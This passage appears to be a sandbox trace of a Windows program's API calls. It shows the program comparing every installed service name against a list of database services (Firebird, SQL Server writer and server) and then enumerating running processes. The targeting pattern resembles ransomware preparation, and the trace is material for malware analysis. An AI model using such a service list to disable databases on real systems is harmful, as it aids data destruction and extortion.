1 [0252.619] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0252.620] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0252.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0252.620] lstrlenW (lpString="Audiosrv") returned 8 [0252.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0252.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0252.620] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0252.620] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0252.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0252.620] lstrlenW (lpString="BFE") returned 3 [0252.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0252.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0252.620] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0252.620] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0252.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0252.620] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0252.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0252.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0252.621] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0252.621] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0252.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0252.621] lstrlenW (lpString="CDPSvc") returned 6 [0252.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0252.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0252.621] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0252.621] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0252.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0252.621] lstrlenW (lpString="ClickToRunSvc") returned 13 [0252.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0252.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0252.621] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0252.621] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0252.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0252.621] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0252.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0252.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0252.622] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0252.622] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0252.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0252.622] lstrlenW (lpString="CryptSvc") returned 8 [0252.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0252.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0252.622] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0252.622] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0252.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0252.622] lstrlenW (lpString="DcomLaunch") returned 10 [0252.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0252.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0252.622] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0252.622] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0252.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0252.622] lstrlenW (lpString="DeviceAssociationService") returned 24 [0252.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0252.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0252.622] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0252.622] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0252.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0252.622] lstrlenW (lpString="Dhcp") returned 4 [0252.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0252.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0252.622] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0252.623] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0252.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0252.623] lstrlenW (lpString="Dnscache") returned 8 [0252.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0252.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0252.623] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0252.623] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0252.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0252.623] lstrlenW (lpString="DPS") returned 3 [0252.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0252.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0252.623] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0252.624] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0252.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0252.624] lstrlenW (lpString="DusmSvc") returned 7 [0252.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0252.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0252.624] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0252.624] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0252.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0252.624] lstrlenW (lpString="EventLog") returned 8 [0252.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0252.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0252.624] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0252.624] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0252.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0252.624] lstrlenW (lpString="EventSystem") returned 11 [0252.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0252.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0252.624] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0252.624] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0252.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0252.624] lstrlenW (lpString="FontCache") returned 9 [0252.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0252.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0252.624] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0252.624] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0252.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0252.625] lstrlenW (lpString="gpsvc") returned 5 [0252.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0252.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0252.625] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0252.625] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0252.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0252.625] lstrlenW (lpString="iphlpsvc") returned 8 [0252.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0252.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0252.625] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0252.625] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0252.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0252.625] lstrlenW (lpString="KeyIso") returned 6 [0252.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0252.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0252.625] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0252.625] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0252.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0252.625] lstrlenW (lpString="LanmanServer") returned 12 [0252.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0252.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0252.625] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0252.625] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0252.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0252.625] lstrlenW (lpString="LanmanWorkstation") returned 17 [0252.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0252.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0252.626] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0252.626] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0252.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0252.626] lstrlenW (lpString="lfsvc") returned 5 [0252.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0252.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0252.626] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0252.626] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0252.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0252.626] lstrlenW (lpString="lmhosts") returned 7 [0252.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0252.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0252.626] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0252.626] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0252.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0252.626] lstrlenW (lpString="LSM") returned 3 [0252.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0252.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0252.626] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0252.626] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0252.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0252.626] lstrlenW (lpString="MpsSvc") returned 6 [0252.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0252.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0252.627] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0252.627] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0252.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0252.627] lstrlenW (lpString="NcbService") returned 10 [0252.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0252.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0252.627] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0252.627] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0252.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0252.627] lstrlenW (lpString="netprofm") returned 8 [0252.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0252.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0252.627] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0252.627] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0252.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0252.627] lstrlenW (lpString="NgcSvc") returned 6 [0252.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0252.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0252.627] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0252.627] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0252.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0252.627] lstrlenW (lpString="NlaSvc") returned 6 [0252.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0252.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0252.627] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0252.628] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0252.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0252.628] lstrlenW (lpString="nsi") returned 3 [0252.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0252.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0252.628] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0252.628] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0252.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0252.628] lstrlenW (lpString="PcaSvc") returned 6 [0252.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0252.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0252.628] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0252.628] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0252.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0252.628] lstrlenW (lpString="PlugPlay") returned 8 [0252.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0252.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0252.628] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0252.628] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0252.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0252.628] lstrlenW (lpString="Power") returned 5 [0252.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0252.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0252.628] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0252.628] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0252.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0252.629] lstrlenW (lpString="ProfSvc") returned 7 [0252.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0252.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0252.629] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0252.629] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0252.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0252.629] lstrlenW (lpString="RpcEptMapper") returned 12 [0252.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0252.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0252.629] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0252.629] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0252.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0252.629] lstrlenW (lpString="RpcSs") returned 5 [0252.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0252.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0252.629] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0252.629] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0252.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0252.629] lstrlenW (lpString="SamSs") returned 5 [0252.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0252.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0252.629] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0252.629] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0252.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0252.629] lstrlenW (lpString="Schedule") returned 8 [0252.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0252.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0252.629] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0252.630] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0252.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0252.630] lstrlenW (lpString="SecurityHealthService") returned 21 [0252.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0252.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0252.630] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0252.630] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0252.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0252.630] lstrlenW (lpString="SENS") returned 4 [0252.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0252.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0252.630] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0252.630] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0252.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0252.630] lstrlenW (lpString="ShellHWDetection") returned 16 [0252.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0252.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0252.630] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0252.630] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0252.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0252.630] lstrlenW (lpString="Spooler") returned 7 [0252.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0252.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0252.630] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0252.630] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0252.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0252.630] lstrlenW (lpString="StateRepository") returned 15 [0252.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0252.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0252.631] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0252.631] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0252.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0252.631] lstrlenW (lpString="SysMain") returned 7 [0252.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0252.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0252.631] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0252.631] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0252.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0252.631] lstrlenW (lpString="SystemEventsBroker") returned 18 [0252.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0252.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0252.631] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0252.631] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0252.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0252.631] lstrlenW (lpString="Themes") returned 6 [0252.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0252.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0252.631] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0252.631] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0252.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0252.631] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0252.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0252.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0252.631] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0252.631] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0252.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b168 | out: hHeap=0x630000) returned 1 [0252.632] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118c [0252.637] Process32FirstW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.638] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0252.859] lstrlenW (lpString="System") returned 6 [0252.860] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0252.861] lstrlenW (lpString="smss.exe") returned 8 [0252.861] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.862] lstrlenW (lpString="csrss.exe") returned 9 [0252.862] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0252.863] lstrlenW (lpString="wininit.exe") returned 11 [0252.863] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.864] lstrlenW (lpString="csrss.exe") returned 9 [0252.864] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0252.865] lstrlenW (lpString="winlogon.exe") returned 12 [0252.865] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0252.866] lstrlenW (lpString="services.exe") returned 12 [0252.866] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0252.867] lstrlenW (lpString="lsass.exe") returned 9 [0252.867] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0252.868] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0252.868] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, 